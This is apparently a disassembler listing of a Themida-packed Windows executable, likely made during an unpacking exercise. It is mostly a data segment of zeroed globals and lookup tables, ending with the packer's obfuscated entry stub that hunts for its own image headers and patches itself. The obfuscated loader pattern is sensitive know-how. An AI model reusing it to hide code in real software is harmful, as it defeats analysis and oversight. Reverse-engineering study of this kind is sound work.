dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w
; sub_409B12+1ADr ...
dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw
; sub_409B12+E2r ...
dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w
; sub_409B12+764r ...
dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w
; sub_409B12+B5Fr
dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw
; sub_419651+55r
dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew
; sub_409B12+2D3r ...
dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw
dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw
; sub_40AB31+CEr
dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw
; sub_409B12+AE6r ...
dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5132r ...
dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r
; sub_401ACD+7980r ...
dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w
; sub_409B12+C2Fr
dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r
; sub_401ACD+5AEDr ...
dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w
; sub_409B12+A2Br ...
dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew
; sub_409B12+794r ...
dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw
; sub_409B12+70Cr ...
dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w
; sub_409B12+B57r
dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w
; sub_409B12+6C4r ...
dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w
; sub_409B12+B4Ar
dword_4CB020 dd 0 ; DATA XREF: ___:00401273r
; sub_409B12+31w ...
dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw
; sub_409B12+1CAr ...
dd 0
dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w
; sub_409B12+93Br
dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w
; sub_409B12+EAr ...
dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w
; sub_409B12+12Bw ...
dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w
; sub_40A7CE+1Cr
dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w
; sub_409B12:loc_409D67w ...
dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w
; sub_40A7CE+50r
dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4567r ...
dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew
; sub_40A7CE+84r
dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w
; sub_40A7CE:loc_40A87Er
dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw
; sub_40A7CE+B8r
dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w
; sub_40A7CE:loc_40A8B2r
dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w
; sub_40A7CE+ECr
dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w
; sub_409B12+8EFw ...
dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw
; sub_40A7CE+120r
dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r
; sub_409B12:loc_40A466w ...
dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw
; sub_40A7CE+154r
dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr
; sub_409B12:loc_40A582w ...
dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw
; sub_40A7CE+188r
dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw
; sub_40A7CE:loc_40A982r
dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w
; sub_40A7CE+1BCr
dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w
; sub_40A7CE:loc_40A9B6r
dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw
; sub_40A7CE+1F0r
dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw
; sub_40A7CE:loc_40A9EAr
dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w
; sub_40A7CE+224r
dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w
; sub_40A7CE:loc_40AA1Er
dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw
; sub_40A7CE+258r
dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w
; sub_40A7CE:loc_40AA52r
dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw
; sub_40A7CE+28Cr
dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw
; sub_40A7CE:loc_40AA86r
dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w
; sub_40A7CE+2C0r
dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o
dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r
; sub_40BFEB+92w ...
dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr
; sub_40C124+2F1w ...
dd 7FEh dup(0)
dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o
; sub_40C124+13Bo ...
dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w
; sub_40BACD+348o
dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew
; sub_40BACD+35Ar
dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w
; sub_40BACD:loc_40BDE2r
dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o
; sub_40BACD+302o
dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w
dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw
; sub_40BACD+30Fw
dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr
align 8
dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w
; sub_40BACD+101o
dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o
dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o
dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w
; sub_40BACD+113r
dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w
dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw
; sub_40BACD+D4r
dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao
; sub_40BACD+BAo
dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw
dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w
; sub_40BACD+C7w
dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r
align 10h
dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w
; sub_40BACD+225o
dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o
dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co
dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw
; sub_40BACD+237r
dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw
dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w
; sub_40BACD+1F8r
dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo
; sub_40BACD+1DEo
dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw
; sub_40BACD+1EBw
dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar
align 8
dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w
; sub_40BACD+470o
dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o
dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo
dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw
; sub_40BACD+423r
align 10h
dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w
; sub_40BACD+482r
dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w
dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w
dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w
dd 0
dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r
dd 0
dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er
; sub_40B719+32r
dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r
; sub_40B719+26r
dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do
dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o
dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w
; ___:0040DC6Eo
dd 0
dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o
dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r
dd 0
dd 0
dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr
dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr
; ___:0040E4F5r
dd 0
dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr
; ___:0040E6E8w
dd 0
dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr
dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w
; ___:0040F00Fr ...
dd 3 dup(0)
dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r
align 10h
dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w
; sub_412351+9o
dd 109h dup(0)
dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo
; sub_401ACD:loc_404AC4o
dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w
; sub_401ACD+2F66r ...
dd 11Ch dup(0)
dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do
; sub_41524Co ...
dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o
; sub_41524C+Eo ...
dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr
; sub_4157F0+12r
align 8
dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo
dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o
dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o
; sub_417275+DDo ...
dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o
; sub_417275+F4o ...
dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w
; sub_4170EC+94r
dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w
; sub_417552+55r ...
dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w
; sub_4170EC+D6r ...
dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w
; sub_4170EC+35r ...
dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo
dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w
; sub_4170EC+A2r
align 8
dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o
; sub_416F1A+103r ...
dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw
; sub_41741C+107w
dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w
; sub_41741C+10Dw ...
dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w
; sub_417552+4Fr
dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w
; sub_4178BA:loc_417A3Fw ...
dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o
; sub_417788+12o ...
dd 0
dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr
; sub_417A5F+3Ar
dd 4Eh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437838o
dd 30h dup(0)
dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r
; sub_417A5F+4Aw
dd 1944h dup(0)
dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o
dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o
; sub_417788+3Co ...
dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo
; sub_4187DD+131o ...
dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co
; sub_419593+A5o
dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w
; sub_418B58+4Dr ...
dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o
; sub_41945F+12Do
dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co
; sub_418A98+7Eo ...
byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r
; sub_418B58+34w
align 10h
dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o
; sub_418DAF+89o ...
dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o
; sub_4186C1+5Bo
dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r
; sub_419B0F+54r ...
dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r
; sub_419B0F+37r ...
dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar
; sub_419C64+83o
dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r
; sub_419C64+11Bw
dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o
; sub_419C64:loc_419DA1o
dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr
; sub_419B0F+ECr ...
align 10h
dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o
dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w
; ___:loc_41D268w ...
dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w
; sub_41DA72:loc_41DB0Cw ...
dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar
dd 0A28h, 501h, 5, 1
dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r
; ___:00423014w
dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
align 10h
dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew
; sub_425AC7+9r ...
dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r
dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r
; sub_425E95+4r ...
align 10h
off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw
; sub_4239DB+5r
align 4
dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w
dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r
; sub_41B7D3+8Bw
dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br
; sub_41C0F4+91w
dd 0
dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw
dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er
; sub_41D081+A4w
align 8
word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r
; sub_41D081+9Ao
word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r
db 2 dup(0)
word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br
word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er
word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r
align 8
dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr
; ___:loc_422F1Er ...
align 10h
dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r
dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r
; sub_420042+4w ...
dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r
dd 0
dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r
; sub_421ADD+1Ar ...
byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r
; sub_4219D9+98r ...
align 4
dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r
; sub_421BBB+21w ...
byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w
align 4
dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er
; sub_42218C+3Ar ...
dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr
; sub_42218C+43r ...
dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar
; sub_421F58+5r
dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co
dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r
; sub_41D5AA+6Er ...
dd 3 dup(0)
dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r
; sub_41D834+BFr ...
dd 0
dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r
; sub_422ACA+4Cw ...
dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r
; ___:00422D34w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
; ___:off_4DB2B0o
align 10h
dd 3Ah dup(0)
dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r
; ___:004231F3w ...
dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r
dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w
; sub_420446:loc_42046Fw ...
dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r
dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r
; sub_423CEC:loc_423D56w
align 10h
word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao
; sub_4245E9+46r
byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r
align 4
dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o
dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w
; sub_4245E9+5Co
dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw
dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w
dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w
dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr
; sub_42470C+38r ...
align 8
dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w
; sub_4247EC+63w ...
align 10h
dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o
; sub_4247EC+46r
dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o
word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r
word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r
; sub_424A4A+DBr ...
word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr
word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r
; sub_424A4A:loc_424B3Cr
word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r
word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r
word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r
word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er
dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br
dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo
word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r
word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r
; sub_424A4A+78r ...
word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r
word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r
; sub_424A4A:loc_424ACEr
word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr
word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r
word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr
word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er
dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r
dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r
; sub_4247EC:loc_424938r ...
dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r
; sub_424D78+2Ew ...
dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w
; sub_424D78:loc_424DC7r
dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw
; sub_424D78+60r
dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr
dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr
; sub_425955+6Do
dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r
; sub_425955+44o
dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r
; sub_425955+37o
dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r
; sub_425955+51o
align 8
dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r
; sub_425F03+48w ...
dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r
; sub_426988+4Cw ...
dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r
; sub_426C13:loc_426C7Dw
byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w
align 4
dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r
; sub_41F49D+14r ...
align 10h
dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o
; ___:0043C9F0o
dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r
; sub_41DBF0+56r ...
dd 7 dup(0)
dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r
; sub_41F11C+2Ar ...
dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o
dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r
; sub_41F11C+Cr ...
dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r
; sub_41FEA9+65w ...
align 10h
dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o
; sub_41FEA9+171o ...
dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w
; sub_41FEA9+15Dw ...
byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w
; sub_4200E8:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co
; sub_41FEA9+AFo ...
byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr
; sub_41FEA9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew
; sub_41FEA9+12Bw ...
dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r
; sub_41E4D4+32w
dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w
; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr
; sub_41DEA2+260r ...
dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r
; sub_41DEA2+2CBr ...
dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r
; sub_41DEA2+2D0r ...
dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r
; ___:00422FACr
dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr
; sub_42026D+11w ...
dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er
; sub_41CFD3+13r ...
dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r
; sub_41B7D3+57r ...
dd 1B8h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 000E0000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 4E0000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 4B45946Bh, 4B783h, 54098h, 95172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C0A4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053F46D SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053F6E3 SIZE 00000055 BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4E0086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E0041
popa
jmp short loc_4E0076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 0, 4Eh, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_4E0041: ; CODE XREF: start+18j
call $+5
pop eax
loc_4E0047: ; DATA XREF: ___:00437A3Co
and eax, 0FFFFF000h
xor edi, edi
loc_4E004E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E006D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E0074
loc_4E006D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4E004E
; ---------------------------------------------------------------------------
loc_4E0074: ; CODE XREF: start+57j
mov edi, eax
loc_4E0076: ; CODE XREF: start+1Bj
jmp loc_4E0265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 0E026Ah
add ecx, edi
jmp short loc_4E0090
; ---------------------------------------------------------------------------
loc_4E0086: ; CODE XREF: start+8j
mov eax, offset loc_53C0A4
mov ecx, offset word_4E026A
loc_4E0090: ; CODE XREF: start+70j
push eax
push ecx
call sub_4E011B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E0265
